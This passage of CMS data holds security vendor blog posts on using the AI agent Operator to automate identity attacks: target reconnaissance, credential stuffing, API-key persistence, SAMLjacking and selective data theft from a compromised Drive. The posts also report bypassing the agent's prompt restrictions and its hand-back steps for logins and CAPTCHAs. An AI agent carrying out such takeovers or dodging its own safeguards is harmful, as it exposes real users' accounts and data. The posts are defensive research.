app.",{"data":68117,"content":68118,"nodeType":860},{},[68119],{"data":68120,"marks":68121,"value":68122,"nodeType":864},{},[],"While a human attacker might research a handful of targets in a day, a CUA can research thousands, tirelessly mapping out identity attack surfaces across a long list of target organizations.",{"data":68124,"content":68128,"nodeType":996},{"target":68125},{"sys":68126},{"id":68127,"type":1001,"linkType":1002},"6Bt0cyPStlzhDzMaSdBYUp",[],{"data":68130,"content":68131,"nodeType":1005},{},[],{"data":68133,"content":68134,"nodeType":1009},{},[68135],{"data":68136,"marks":68137,"value":68139,"nodeType":864},{},[68138],{"type":899},"2: Initial Access",{"data":68141,"content":68142,"nodeType":860},{},[68143],{"data":68144,"marks":68145,"value":68146,"nodeType":864},{},[],"Once you’ve established your targets, you can automate account takeover using compromised credentials. ",{"data":68148,"content":68149,"nodeType":860},{},[68150],{"data":68151,"marks":68152,"value":68153,"nodeType":864},{},[],"I asked Operator to try to login using a set of compromised credentials across five different apps. It navigated to each page, attempted to login, noted the success or failure (and why), and moved on to the next app in the list. ",{"data":68155,"content":68156,"nodeType":860},{},[68157],{"data":68158,"marks":68159,"value":68160,"nodeType":864},{},[],"Now imagine that same process, but scaled up to tens of thousands of apps at once — with no custom development required. That’s where things start getting interesting.",{"data":68162,"content":68166,"nodeType":996},{"target":68163},{"sys":68164},{"id":68165,"type":1001,"linkType":1002},"6jk6hKykuvc0YAA4CkP8C2",[],{"data":68168,"content":68169,"nodeType":1005},{},[],{"data":68171,"content":68172,"nodeType":1009},{},[68173],{"data":68174,"marks":68175,"value":68177,"nodeType":864},{},[68176],{"type":899},"3: Persistence",{"data":68179,"content":68180,"nodeType":860},{},[68181],{"data":68182,"marks":68183,"value":68184,"nodeType":864},{},[],"Once you take over an account, you might not be able to exploit it straight away — particularly if you’re looking to execute a broader campaign across apps/organizations. So, I asked Operator to establish persistence mechanisms that would enable me to return to the app later, even if the credentials were changed or additional auth factors were deployed. ",{"data":68186,"content":68187,"nodeType":860},{},[68188],{"data":68189,"marks":68190,"value":68191,"nodeType":864},{},[],"Operator was able to analyse wildly different apps/pages with different options for configuring ghost logins, and was able to do things like create an API key and record it for me — a really effective backdoor that is extremely difficult for security teams to detect. ",{"data":68193,"content":68197,"nodeType":996},{"target":68194},{"sys":68195},{"id":68196,"type":1001,"linkType":1002},"6jtmxq2tMJIBga3hxdeDZs",[],{"data":68199,"content":68203,"nodeType":996},{"target":68200},{"sys":68201},{"id":68202,"type":1001,"linkType":1002},"5XqqCMLn0udFeoc2CQkmy6",[],{"data":68205,"content":68206,"nodeType":1005},{},[],{"data":68208,"content":68209,"nodeType":1009},{},[68210],{"data":68211,"marks":68212,"value":68214,"nodeType":864},{},[68213],{"type":899},"4: Lateral Movement",{"data":68216,"content":68217,"nodeType":860},{},[68218],{"data":68219,"marks":68220,"value":68221,"nodeType":864},{},[],"Operator can be used to perform in-app changes which can lay the groundwork for lateral movement. One example of how this can be achieved is through SAMLjacking, effectively allowing the attacker to poison the malicious app tenant and use it as a watering hole to harvest SSO credentials. ",{"data":68223,"content":68227,"nodeType":996},{"target":68224},{"sys":68225},{"id":68226,"type":1001,"linkType":1002},"4GTS6iIlQ0nyMfTxhXQdEg",[],{"data":68229,"content":68233,"nodeType":996},{"target":68230},{"sys":68231},{"id":68232,"type":1001,"linkType":1002},"5awMBkBEQPtdVNtLOYiaCL",[],{"data":68235,"content":68236,"nodeType":860},{},[68237],{"data":68238,"marks":68239,"value":68240,"nodeType":864},{},[],"SAMLjacking is just one option though — you could also do things like identifying which OAuth integrations are already enabled that could be abused to access linked apps and accounts. ",{"data":68242,"content":68243,"nodeType":1005},{},[],{"data":68245,"content":68246,"nodeType":1009},{},[68247],{"data":68248,"marks":68249,"value":68251,"nodeType":864},{},[68250],{"type":899},"5: Collection & Exfiltration ",{"data":68253,"content":68254,"nodeType":860},{},[68255],{"data":68256,"marks":68257,"value":68258,"nodeType":864},{},[],"The final piece in the attack chain we looked at was the ability to automate actions-on-objectives. When targeting SaaS, this typically involves dumping app data. ",{"data":68260,"content":68261,"nodeType":860},{},[68262],{"data":68263,"marks":68264,"value":68265,"nodeType":864},{},[],"We found it would be possible to trigger things like takeout services, but this would involve an email export of the data being sent to the victim — meaning we’d need to also compromise their mailbox, and it would probably raise the alarm if noticed. ",{"data":68267,"content":68268,"nodeType":860},{},[68269],{"data":68270,"marks":68271,"value":68272,"nodeType":864},{},[],"Simply downloading the data directly doesn’t work too well with Operator either — downloads are stored in the VM and aren’t easy to extract (for now, anyway).",{"data":68274,"content":68275,"nodeType":860},{},[68276],{"data":68277,"marks":68278,"value":68279,"nodeType":864},{},[],"But this got us thinking:",{"data":68281,"content":68282,"nodeType":941},{},[68283,68293,68303],{"data":68284,"content":68285,"nodeType":945},{},[68286],{"data":68287,"content":68288,"nodeType":860},{},[68289],{"data":68290,"marks":68291,"value":68292,"nodeType":864},{},[],"Mass data exfiltration is more likely to raise the alarm than the sharing of sensitive data only.",{"data":68294,"content":68295,"nodeType":945},{},[68296],{"data":68297,"content":68298,"nodeType":860},{},[68299],{"data":68300,"marks":68301,"value":68302,"nodeType":864},{},[],"Often, much of the data stolen by attackers is pretty low-value and noisy — attackers often don’t really understand the value of what they’ve taken, or how to use/leverage it (particularly when targeting organizations in specialist fields). ",{"data":68304,"content":68305,"nodeType":945},{},[68306],{"data":68307,"content":68308,"nodeType":860},{},[68309],{"data":68310,"marks":68311,"value":68312,"nodeType":864},{},[],"So what if you could use Operator to understand the data you’ve accessed before dumping it, and stealthily take only what you’re interested in? ",{"data":68314,"content":68315,"nodeType":860},{},[68316,68320],{"data":68317,"marks":68318,"value":68319,"nodeType":864},{},[],"So, w",{"data":68321,"marks":68322,"value":68323,"nodeType":864},{},[],"e asked Operator to analyse data in a compromised Google Drive and report back on what it found. It was able to trawl through looking for specific data of value and report its findings back for us to act on. ",{"data":68325,"content":68329,"nodeType":996},{"target":68326},{"sys":68327},{"id":68328,"type":1001,"linkType":1002},"VAb39fl1Otlj07dkbDmpU",[],{"data":68331,"content":68332,"nodeType":860},{},[68333],{"data":68334,"marks":68335,"value":68336,"nodeType":864},{},[],"At this point, we could have also asked Operator to create sharing links for those files and record them for us (in case our access was revoked in future). ",{"data":68338,"content":68339,"nodeType":1005},{},[],{"data":68341,"content":68342,"nodeType":1009},{},[68343],{"data":68344,"marks":68345,"value":68347,"nodeType":864},{},[68346],{"type":899},"Evaluating Operator",{"data":68349,"content":68350,"nodeType":860},{},[68351],{"data":68352,"marks":68353,"value":68354,"nodeType":864},{},[],"Operator clearly demonstrated that it can be used to perform malicious tasks throughout the identity attack kill chain, for every site we directed it at, without requiring custom tool development. Though we didn’t conduct an exhaustive review, we were able to trivially bypass prompt restrictions. And although Operator was meant to hand back over to the user for some actions (like logging, completing CAPTCHAs, etc.) it could be convinced to perform these tasks autonomously. ",{"data":68356,"content":68357,"nodeType":860},{},[68358,68362],{"data":68359,"marks":68360,"value":68361,"nodeType":864},{},[],"It’s important to come back to the point that this isn’t impressive or useful because of the complexity of the tasks — on a 1:1 basis, a human operator will outperform Operator. ",{"data":68363,"marks":68364,"value":68366,"nodeType":864},{},[68365],{"type":899},"The key benefit is the ability to scale these actions across hundreds or even thousands of apps. ",{"data":68368,"content":68369,"nodeType":1312},{},[68370],{"data":68371,"marks":68372,"value":68374,"nodeType":864},{},[68373],{"type":899},"The best (worst?) is still to come",{"data":68376,"content":68377,"nodeType":860},{},[68378],{"data":68379,"marks":68380,"value":68381,"nodeType":864},{},[],"Yes, Operator is a bit slow at the moment, and can get confused when handling long and large tasks with complex instructions. And overall usage is capped, which might prevent attackers from scaling their identity surface discovery and exploitation infinitely (though we didn’t hit any limits during our testing). But let’s remember, it’s not even in V1 yet … ",{"data":68383,"content":68384,"nodeType":860},{},[68385],{"data":68386,"marks":68387,"value":68388,"nodeType":864},{},[],"Operator (and the underlying CUA tech) will inevitably get better. If you can integrate Operator within a tool framework to cover off some of its limitations, and orchestrate Operator windows to perform tasks simultaneously via API (functionality that exists for ChatGPT already) then this kind of CUA tech becomes something that can be very easily abused by attackers. And ultimately, competing CUA products (even inherently malicious ones) will emerge over time, increasing the scope for abuse. ",{"data":68390,"content":68391,"nodeType":860},{},[68392],{"data":68393,"marks":68394,"value":68395,"nodeType":864},{},[],"And what then? There are dual consequences:",{"data":68397,"content":68398,"nodeType":941},{},[68399,68409],{"data":68400,"content":68401,"nodeType":945},{},[68402],{"data":68403,"content":68404,"nodeType":860},{},[68405],{"data":68406,"marks":68407,"value":68408,"nodeType":864},{},[],"Lower skilled attackers with fewer resources will be able to harness identity attacks and exploit identity vulnerabilities at scale, with out-of-the-box capabilities.",{"data":68410,"content":68411,"nodeType":945},{},[68412],{"data":68413,"content":68414,"nodeType":860},{},[68415],{"data":68416,"marks":68417,"value":68418,"nodeType":864},{},[],"More advanced attackers will be able to scale their operations, a bit like being a red team manager of a fleet of AI interns — they handle the grunt work while you’re freed up to perform more complex tasks, only stepping in when you need to. ",{"data":68420,"content":68421,"nodeType":1116},{},[68422],{"data":68423,"content":68424,"nodeType":860},{},[68425,68429,68434],{"data":68426,"marks":68427,"value":68428,"nodeType":864},{},[],"CUAs mean attackers can scale their operations, ",{"data":68430,"marks":68431,"value":68433,"nodeType":864},{},[68432],{"type":899},"a bit like being a red team manager of a fleet of AI interns",{"data":68435,"marks":68436,"value":68437,"nodeType":864},{},[]," — they handle the grunt work while you’re freed up to perform more complex tasks, only stepping in when you need to. ",{"data":68439,"content":68440,"nodeType":1005},{},[],{"data":68442,"content":68443,"nodeType":1009},{},[68444],{"data":68445,"marks":68446,"value":42478,"nodeType":864},{},[68447],{"type":899},{"data":68449,"content":68450,"nodeType":860},{},[68451],{"data":68452,"marks":68453,"value":68454,"nodeType":864},{},[],"CUA technology has huge implications for the ability of attackers to discover and exploit identity vulnerabilities at-scale. ",{"data":68456,"content":68457,"nodeType":860},{},[68458,68462,68470],{"data":68459,"marks":68460,"value":68461,"nodeType":864},{},[],"The biggest impact that we identified was in terms of credential attacks — and in particular the ability of attackers to leverage compromised credentials and systemic vulnerabilities like credential reuse — which we’ve discussed in more detail ",{"data":68463,"content":68465,"nodeType":883},{"uri":68464},"https://pushsecurity.com/blog/how-new-ai-agents-will-transform-credential-stuffing-attacks/",[68466],{"data":68467,"marks":68468,"value":68469,"nodeType":864},{},[],"in this blog post",{"data":68471,"marks":68472,"value":25428,"nodeType":864},{},[],{"data":68474,"content":68478,"nodeType":996},{"target":68475},{"sys":68476},{"id":68477,"type":1001,"linkType":1002},"5wczyTsTFu9VshpzxJylgX",[],{"data":68480,"content":68481,"nodeType":1005},{},[],{"data":68483,"content":68484,"nodeType":1009},{},[68485],{"data":68486,"marks":68487,"value":68489,"nodeType":864},{},[68488],{"type":899},"What you can do about it",{"data":68491,"content":68492,"nodeType":860},{},[68493],{"data":68494,"marks":68495,"value":68496,"nodeType":864},{},[],"Thankfully, no new anti-AI capabilities are required — but it’s more important than ever that organizations look to defend their identity attack surface and find and fix identity vulnerabilities before attackers can take advantage of them. ",{"data":68498,"content":68499,"nodeType":860},{},[68500,68503,68511],{"data":68501,"marks":68502,"value":21,"nodeType":864},{},[],{"data":68504,"content":68505,"nodeType":883},{"uri":5642},[68506],{"data":68507,"marks":68508,"value":68510,"nodeType":864},{},[68509],{"type":1455},"Book a demo",{"data":68512,"marks":68513,"value":68514,"nodeType":864},{},[]," to find out how Push helps organizations to find and fix identity vulnerabilities at-scale, and intercept identity attacks as they happen in employee browsers. ",{"data":68516,"content":68519,"nodeType":996},{"target":68517},{"sys":68518},{"id":68089,"type":1001,"linkType":1002},[],{"data":68521,"content":68522,"nodeType":860},{},[68523],{"data":68524,"marks":68525,"value":21,"nodeType":864},{},[],{"entries":68527},{"hyperlink":68528,"inline":68529,"block":68530},[],[],[68531,68537,68541,68545,68580,68584,68609,68613,68617],{"sys":68532,"__typename":1717,"type":1718,"ctaText":68533,"buttonLabel":68534,"buttonColour":68535,"buttonUrl":68536},{"id":68089},"See our latest webinar on demand where we explore Operator's malicious use-cases throughout the kill chain","Watch Now","sea blue","https://pushsecurity.com/resources/automating-identity-attacks",{"sys":68538,"__typename":15710,"title":68539,"arcadeDemoUrl":68540,"playText":54641},{"id":68127},"CUA blog — Arcade 1","https://demo.arcade.software/buNBQ1B8KBs44JUuKM3R?embed",{"sys":68542,"__typename":15710,"title":68543,"arcadeDemoUrl":68544,"playText":15713},{"id":68165},"CUA blog — Arcade 2","https://demo.arcade.software/b4EQ6eEkUvUMF6mXZoek?embed",{"sys":68546,"__typename":1740,"content":68547,"name":68579,"title":59},{"id":68196},{"json":68548},{"nodeType":856,"data":68549,"content":68550},{},[68551],{"nodeType":860,"data":68552,"content":68553},{},[68554,68558,68566,68570,68576],{"nodeType":864,"value":68555,"marks":68556,"data":68557},"Most apps provide ",[],{},{"nodeType":883,"data":68559,"content":68560},{"uri":28232},[68561],{"nodeType":864,"value":68562,"marks":68563,"data":68565},"extremely limited account and authentication method visibility to admins",[68564],{"type":1455},{},{"nodeType":864,"value":68567,"marks":68568,"data":68569},", and even fewer give them the ability to make changes on behalf of the user like removing insecure login methods — meaning it’s very difficult for them to investigate and remediate ",[],{},{"nodeType":883,"data":68571,"content":68572},{"uri":55649},[68573],{"nodeType":864,"value":13731,"marks":68574,"data":68575},[],{},{"nodeType":864,"value":2924,"marks":68577,"data":68578},[],{},"CUA blog — Insight box 1",{"sys":68581,"__typename":15710,"title":68582,"arcadeDemoUrl":68583,"playText":54641},{"id":68202},"CUA blog — Arcade 3","https://demo.arcade.software/uuIiTlrp7eLN2cuPAEFB?embed",{"sys":68585,"__typename":1740,"content":68586,"name":68608,"title":59},{"id":68226},{"json":68587},{"nodeType":856,"data":68588,"content":68589},{},[68590],{"nodeType":860,"data":68591,"content":68592},{},[68593,68597,68605],{"nodeType":864,"value":68594,"marks":68595,"data":68596},"SAMLjacking works by modifying the app’s SAML settings to direct users to authenticate via an attacker-controlled SAML server to sign in using SSO via their IdP account. The user notices no real change to their experience and can access the resources as normal, but the attacker will harvest the credentials of every user that logs in. ",[],{},{"nodeType":883,"data":68598,"content":68599},{"uri":5231},[68600],{"nodeType":864,"value":68601,"marks":68602,"data":68604},"Find out more about SAMLjacking here",[68603],{"type":1455},{},{"nodeType":864,"value":2924,"marks":68606,"data":68607},[],{},"CUA blog — Insight box 2",{"sys":68610,"__typename":15710,"title":68611,"arcadeDemoUrl":68612,"playText":21242},{"id":68232},"CUA blog — Arcade 4","https://demo.arcade.software/hnx017VaUdp9GGdzX8Yy?embed",{"sys":68614,"__typename":15710,"title":68615,"arcadeDemoUrl":68616,"playText":54641},{"id":68328},"CUA blog — Arcade 5","https://demo.arcade.software/VvkWBYKmBAm7r9qE64A3?embed",{"sys":68618,"__typename":1717,"type":1718,"ctaText":68619,"buttonLabel":68620,"buttonColour":68535,"buttonUrl":68464},{"id":68477},"Check out our blog post analysing the impact of CUAs on credential stuffing attacks","Read Now",{"items":68622},[],{},"Using CUAs like Operator to automate identity attacks",{"url":68626},"https://images.ctfassets.net/y1cdw1ablpvd/stqRZBfjcRHW2gz3MBaIN/2679b191b6fa37bbe27b486b334bb7b8/Operator_clip_thumbnail__4_.jpg","2025-03-13T00:00:00.000Z",{"items":68629},[68630,69240,69874],{"__typename":2059,"sys":68631,"content":68633,"title":69226,"synopsis":69227,"hashTags":59,"publishedDate":69228,"slug":69229,"tagsCollection":69230,"authorsCollection":69236},{"id":68632},"hpHG3MIyOo5AMxoeLDeBX",{"json":68634},{"data":68635,"content":68636,"nodeType":856},{},[68637,68645,68663,68695,68702,68705,68713,68720,68728,68735,68742,68749,68756,68764,68771,68800,68828,68835,68843,68850,68873,68880,68883,68891,68898,68906,68925,68958,68965,68977,68984,68992,68999,69006,69013,69020,69023,69031,69038,69061,69067,69070,69078,69094,69101,69104,69112,69119,69135,69142,69171,69174,69180,69197,69215,69220],{"data":68638,"content":68639,"nodeType":1009},{},[68640],{"data":68641,"marks":68642,"value":68644,"nodeType":864},{},[68643],{"type":899},"Stolen credentials: The cyber criminal’s weapon of choice in 2024",{"data":68646,"content":68647,"nodeType":860},{},[68648,68651,68659],{"data":68649,"marks":68650,"value":21,"nodeType":864},{},[],{"data":68652,"content":68653,"nodeType":883},{"uri":8429},[68654],{"data":68655,"marks":68656,"value":68658,"nodeType":864},{},[68657],{"type":1455},"Stolen credentials were the #1 attacker action in 2023/24",{"data":68660,"marks":68661,"value":68662,"nodeType":864},{},[],", and the breach vector for 80% of web app attacks. Not surprising when you consider the fact that billions of leaked credentials are in circulation online, and attackers can pick up the latest drop for as little as $10 on criminal forums. ",{"data":68664,"content":68665,"nodeType":860},{},[68666,68670,68679,68683,68691],{"data":68667,"marks":68668,"value":68669,"nodeType":864},{},[],"The criminal marketplace for stolen credentials is benefitting from ",{"data":68671,"content":68673,"nodeType":883},{"uri":68672},"https://pushsecurity.com/resources/2024-identity-attacks",[68674],{"data":68675,"marks":68676,"value":68678,"nodeType":864},{},[68677],{"type":1455},"the publicity of high profile breaches in 2024",{"data":68680,"marks":68681,"value":68682,"nodeType":864},{},[]," such as the attacks on ",{"data":68684,"content":68685,"nodeType":883},{"uri":3751},[68686],{"data":68687,"marks":68688,"value":68690,"nodeType":864},{},[68689],{"type":1455},"Snowflake",{"data":68692,"marks":68693,"value":68694,"nodeType":864},{},[]," customers using credentials found in data breach dumps and compromised credential feeds from infostealer and mass phishing campaigns, resulting in the compromise of 165 customer tenants and hundreds of millions of breached personal records.",{"data":68696,"content":68697,"nodeType":860},{},[68698],{"data":68699,"marks":68700,"value":68701,"nodeType":864},{},[],"But despite 2024 being an unprecedented year in terms of the impact of identity-based attacks, there’s still a lot of unfulfilled potential for attackers to realize. ",{"data":68703,"content":68704,"nodeType":1005},{},[],{"data":68706,"content":68707,"nodeType":1009},{},[68708],{"data":68709,"marks":68710,"value":68712,"nodeType":864},{},[68711],{"type":899},"Credential attack automation — what’s changed with the shift to SaaS? ",{"data":68714,"content":68715,"nodeType":860},{},[68716],{"data":68717,"marks":68718,"value":68719,"nodeType":864},{},[],"Brute forcing and credential stuffing are nothing new, and have been a key component of the cyber attacker toolkit for decades. But it’s not quite as easy to automatically spray credentials across systems as it once was. ",{"data":68721,"content":68722,"nodeType":1312},{},[68723],{"data":68724,"marks":68725,"value":68727,"nodeType":864},{},[68726],{"type":899},"No more one-size-fits-all",{"data":68729,"content":68730,"nodeType":860},{},[68731],{"data":68732,"marks":68733,"value":68734,"nodeType":864},{},[],"Rather than a single centralized network with apps and data contained within an infrastructure perimeter, business IT is now formed of hundreds of web-based apps and platforms, creating thousands of identities per organization.  ",{"data":68736,"content":68737,"nodeType":860},{},[68738],{"data":68739,"marks":68740,"value":68741,"nodeType":864},{},[],"This means that identities too are now decentralized and distributed all over the internet, as opposed to being stored solely in identity systems like Active Directory, and implemented using common protocols and mechanisms. ",{"data":68743,"content":68744,"nodeType":860},{},[68745],{"data":68746,"marks":68747,"value":68748,"nodeType":864},{},[],"While HTTP(S) is standard, modern web apps are complex and highly customized, with a graphically-driven interface that is different every time. And to make matters worse, modern web apps are specifically designed to prevent malicious automation through bot protections like CAPTCHA. ",{"data":68750,"content":68751,"nodeType":860},{},[68752],{"data":68753,"marks":68754,"value":68755,"nodeType":864},{},[],"So rather than encountering standard protocols and being able to write a single set of tools to use across any organization/environment e.g. write a DNS scanner once, use a single port scanner like Nmap for the entire internet, write a single script per service (e.g. FTP, SSH, Telnet, etc.) for your password sprayer — custom tool development is instead required for every app that you want to target. ",{"data":68757,"content":68758,"nodeType":1312},{},[68759],{"data":68760,"marks":68761,"value":68763,"nodeType":864},{},[68762],{"type":899},"Finding the needle in the haystack",{"data":68765,"content":68766,"nodeType":860},{},[68767],{"data":68768,"marks":68769,"value":68770,"nodeType":864},{},[],"Not only are there more environments for attackers to include in the scope of their attack, but there are more credentials to work with. ",{"data":68772,"content":68773,"nodeType":860},{},[68774,68778,68783,68787,68796],{"data":68775,"marks":68776,"value":68777,"nodeType":864},{},[],"There are around ",{"data":68779,"marks":68780,"value":68782,"nodeType":864},{},[68781],{"type":899},"15 billion compromised credentials",{"data":68784,"marks":68785,"value":68786,"nodeType":864},{},[]," available on the public internet, not including those found only in private channels/feeds. This list is growing all of the time — ",{"data":68788,"content":68790,"nodeType":883},{"uri":68789},"https://www.bleepingcomputer.com/news/security/have-i-been-pwned-adds-284m-accounts-stolen-by-infostealer-malware/",[68791],{"data":68792,"marks":68793,"value":68795,"nodeType":864},{},[68794],{"type":1455},"like 244M never before seen passwords and 493M unique website and email address pairs",{"data":68797,"marks":68798,"value":68799,"nodeType":864},{},[]," being added to Have I Been Pwned from infostealer logs just last month. ",{"data":68801,"content":68802,"nodeType":860},{},[68803,68807,68816,68820,68825],{"data":68804,"marks":68805,"value":68806,"nodeType":864},{},[],"This sounds scary, but it’s tricky for attackers to harness this data. The vast majority of these credentials are old and invalid. Our ",{"data":68808,"content":68810,"nodeType":883},{"uri":68809},"https://pushsecurity.com/blog/verified-stolen-credential-detection/",[68811],{"data":68812,"marks":68813,"value":68815,"nodeType":864},{},[68814],{"type":1455},"recent review of TI data",{"data":68817,"marks":68818,"value":68819,"nodeType":864},{},[]," found that fewer than 1% of stolen credentials included in threat intelligence feeds from a multi-vendor data set was actionable —",{"data":68821,"marks":68822,"value":68824,"nodeType":864},{},[68823],{"type":899}," in other words, 99% of compromised credentials were false positives.",{"data":68826,"marks":68827,"value":12978,"nodeType":864},{},[],{"data":68829,"content":68830,"nodeType":860},{},[68831],{"data":68832,"marks":68833,"value":68834,"nodeType":864},{},[],"But not all of them are useless — as the Snowflake attacks demonstrated, which successfully leveraged credentials dating back to 2020. So there are clearly treasures waiting to be discovered by attackers. ",{"data":68836,"content":68837,"nodeType":1312},{},[68838],{"data":68839,"marks":68840,"value":68842,"nodeType":864},{},[68841],{"type":899},"Attackers are forced to prioritize",{"data":68844,"content":68845,"nodeType":860},{},[68846],{"data":68847,"marks":68848,"value":68849,"nodeType":864},{},[],"The distributed nature of apps and identities, and the low reliability of compromised credential data, means attackers are forced to prioritize — despite a target-rich environment of hundreds of business apps, creating thousands of sprawled identities per organization, because: ",{"data":68851,"content":68852,"nodeType":941},{},[68853,68863],{"data":68854,"content":68855,"nodeType":945},{},[68856],{"data":68857,"content":68858,"nodeType":860},{},[68859],{"data":68860,"marks":68861,"value":68862,"nodeType":864},{},[],"Writing and running custom python scripts for every single app (there are more than 40k SaaS apps on the internet) is not realistic. Even if you did the top 100 or 1000, that would be a significant task and require constant maintenance, while barely scratching the surface of the total opportunity. ",{"data":68864,"content":68865,"nodeType":945},{},[68866],{"data":68867,"content":68868,"nodeType":860},{},[68869],{"data":68870,"marks":68871,"value":68872,"nodeType":864},{},[],"Even when fully scripted and using a botnet to distribute the attack and avoid IP blocking, controls like rate limiting, CAPTCHA, and account lockouts can obstruct mass credential stuffing against a single app. And a concentrated attack on a single site is going to generate significant levels of traffic if you want to get through 15 billion passwords in a reasonable timeframe, so it’s very likely to raise the alarm.",{"data":68874,"content":68875,"nodeType":860},{},[68876],{"data":68877,"marks":68878,"value":68879,"nodeType":864},{},[],"So attackers tend to target a smaller number of apps, and only look for a direct match in terms of the credentials attempted (e.g. the stolen credential must directly belong to an account on the target app). When they do go after something new, it tends to be concentrated on a specific app/platform (e.g. Snowflake) or looking for a narrower subset of credentials (e.g. credentials clearly associated with edge devices, for more traditional network environments). ",{"data":68881,"content":68882,"nodeType":1005},{},[],{"data":68884,"content":68885,"nodeType":1009},{},[68886],{"data":68887,"marks":68888,"value":68890,"nodeType":864},{},[68889],{"type":899},"A missed opportunity?",{"data":68892,"content":68893,"nodeType":860},{},[68894],{"data":68895,"marks":68896,"value":68897,"nodeType":864},{},[],"As we’ve established, the situation regarding credential stuffing attacks is already pretty bad despite these limitations. But things could be significantly worse. ",{"data":68899,"content":68900,"nodeType":1312},{},[68901],{"data":68902,"marks":68903,"value":68905,"nodeType":864},{},[68904],{"type":899},"Password reuse means a single compromised account could turn into many",{"data":68907,"content":68908,"nodeType":860},{},[68909,68913,68921],{"data":68910,"marks":68911,"value":68912,"nodeType":864},{},[],"If attackers were able to increase the scale of their attacks to target a broader number of apps (rather than concentrating on a shortlist of high value apps) they could take advantage of all-too-common password reuse. According to our ",{"data":68914,"content":68915,"nodeType":883},{"uri":13714},[68916],{"data":68917,"marks":68918,"value":68920,"nodeType":864},{},[68919],{"type":1455},"recent investigation of identity data",{"data":68922,"marks":68923,"value":68924,"nodeType":864},{},[],", on average:",{"data":68926,"content":68927,"nodeType":941},{},[68928,68938,68948],{"data":68929,"content":68930,"nodeType":945},{},[68931],{"data":68932,"content":68933,"nodeType":860},{},[68934],{"data":68935,"marks":68936,"value":68937,"nodeType":864},{},[],"1 in 3 employees reuse passwords",{"data":68939,"content":68940,"nodeType":945},{},[68941],{"data":68942,"content":68943,"nodeType":860},{},[68944],{"data":68945,"marks":68946,"value":68947,"nodeType":864},{},[],"9% of identities have a reused password AND no MFA",{"data":68949,"content":68950,"nodeType":945},{},[68951],{"data":68952,"content":68953,"nodeType":860},{},[68954],{"data":68955,"marks":68956,"value":68957,"nodeType":864},{},[],"10% of IdP accounts (used for SSO) have a non-unique password",{"data":68959,"content":68960,"nodeType":860},{},[68961],{"data":68962,"marks":68963,"value":68964,"nodeType":864},{},[],"What does this mean? If a stolen credential is valid, there’s a good chance that it can be used to access more than one account, on more than one app (at least). ",{"data":68966,"content":68967,"nodeType":860},{},[68968,68973],{"data":68969,"marks":68970,"value":68972,"nodeType":864},{},[68971],{"type":899},"Picture the scenario:",{"data":68974,"marks":68975,"value":68976,"nodeType":864},{},[]," A recent compromised credential leak from infostealer infections or credential phishing campaigns shows that a particular username and password combination is valid on a specific app — let’s say Microsoft 365. Now, this account is pretty locked down — not only does it have MFA, but there are conditional access policies in place restricting the IP/location it can be accessed from. ",{"data":68978,"content":68979,"nodeType":860},{},[68980],{"data":68981,"marks":68982,"value":68983,"nodeType":864},{},[],"Usually, this is where the attack would end, and you’d turn your attention to something else. But what if you were able to spray these credentials across every other business app that the user has an account on?",{"data":68985,"content":68986,"nodeType":1312},{},[68987],{"data":68988,"marks":68989,"value":68991,"nodeType":864},{},[68990],{"type":899},"Scaling credential attacks with Computer-Using Agents",{"data":68993,"content":68994,"nodeType":860},{},[68995],{"data":68996,"marks":68997,"value":68998,"nodeType":864},{},[],"Until now, the impact of AI on identity attacks has been limited to the use of LLMs for the creation of phishing emails, in AI-assisted malware development, and for social media bots — no doubt significant, but not exactly transformative, and requiring constant human oversight and input. ",{"data":69000,"content":69001,"nodeType":860},{},[69002],{"data":69003,"marks":69004,"value":69005,"nodeType":864},{},[],"But with the launch of OpenAI Operator, a new kind of “Computer-Using Agent”, this could be about to change. ",{"data":69007,"content":69008,"nodeType":860},{},[69009],{"data":69010,"marks":69011,"value":69012,"nodeType":864},{},[],"Operator is trained on a specialist dataset and implemented in its own sandboxed browser, meaning it is able to perform common web tasks like a human — seeing and interacting with pages as a human would. ",{"data":69014,"content":69015,"nodeType":860},{},[69016],{"data":69017,"marks":69018,"value":69019,"nodeType":864},{},[],"Unlike other automated solutions, Operator requires no custom implementation or coding to be able to interact with new sites, making it a much more scalable option for attackers looking to target a broad sweep of sites/apps. ",{"data":69021,"content":69022,"nodeType":1005},{},[],{"data":69024,"content":69025,"nodeType":1009},{},[69026],{"data":69027,"marks":69028,"value":69030,"nodeType":864},{},[69029],{"type":899},"Demo: Using Operator to conduct credential stuffing attacks at scale",{"data":69032,"content":69033,"nodeType":860},{},[69034],{"data":69035,"marks":69036,"value":69037,"nodeType":864},{},[],"We put the malicious use-cases of Operator to the test, using it to:",{"data":69039,"content":69040,"nodeType":941},{},[69041,69051],{"data":69042,"content":69043,"nodeType":945},{},[69044],{"data":69045,"content":69046,"nodeType":860},{},[69047],{"data":69048,"marks":69049,"value":69050,"nodeType":864},{},[],"Identify which companies have an existing tenant on a list of apps",{"data":69052,"content":69053,"nodeType":945},{},[69054],{"data":69055,"content":69056,"nodeType":860},{},[69057],{"data":69058,"marks":69059,"value":69060,"nodeType":864},{},[],"Attempt to login to various app tenants with a provided username and password",{"data":69062,"content":69066,"nodeType":996},{"target":69063},{"sys":69064},{"id":69065,"type":1001,"linkType":1002},"moAA7jwcBmZMaqpmPva4w",[],{"data":69068,"content":69069,"nodeType":1005},{},[],{"data":69071,"content":69072,"nodeType":1009},{},[69073],{"data":69074,"marks":69075,"value":69077,"nodeType":864},{},[69076],{"type":899},"Impact summary",{"data":69079,"content":69080,"nodeType":860},{},[69081,69085,69090],{"data":69082,"marks":69083,"value":69084,"nodeType":864},{},[],"The results were pretty eye opening. Operator clearly demonstrated the ability to target a list of apps with compromised credentials and perform in-app actions. ",{"data":69086,"marks":69087,"value":69089,"nodeType":864},{},[69088],{"type":899},"Now think about this x10, x100, x10,000 …",{"data":69091,"marks":69092,"value":69093,"nodeType":864},{},[]," These are not complex tasks. But the value of CUAs Operator is not in tackling complexity, but scale. Imagine a world where you can orchestrate Operator windows via API and get it to execute these actions simultaneously (functionality that exists already for ChatGPT). ",{"data":69095,"content":69096,"nodeType":860},{},[69097],{"data":69098,"marks":69099,"value":69100,"nodeType":864},{},[],"But this is bigger than Operator — it’s about the direction of the technology. OpenAI may implement restrictions — better in-app guardrails, rate limits on the number of concurrent tasks and total usage, etc. But you can guarantee it won’t be the only CUA — it’s only a matter of time before similar products emerge (maybe even inherently malicious ones) making use of the same technology. ",{"data":69102,"content":69103,"nodeType":1005},{},[],{"data":69105,"content":69106,"nodeType":1009},{},[69107],{"data":69108,"marks":69109,"value":69111,"nodeType":864},{},[69110],{"type":899},"Final thoughts 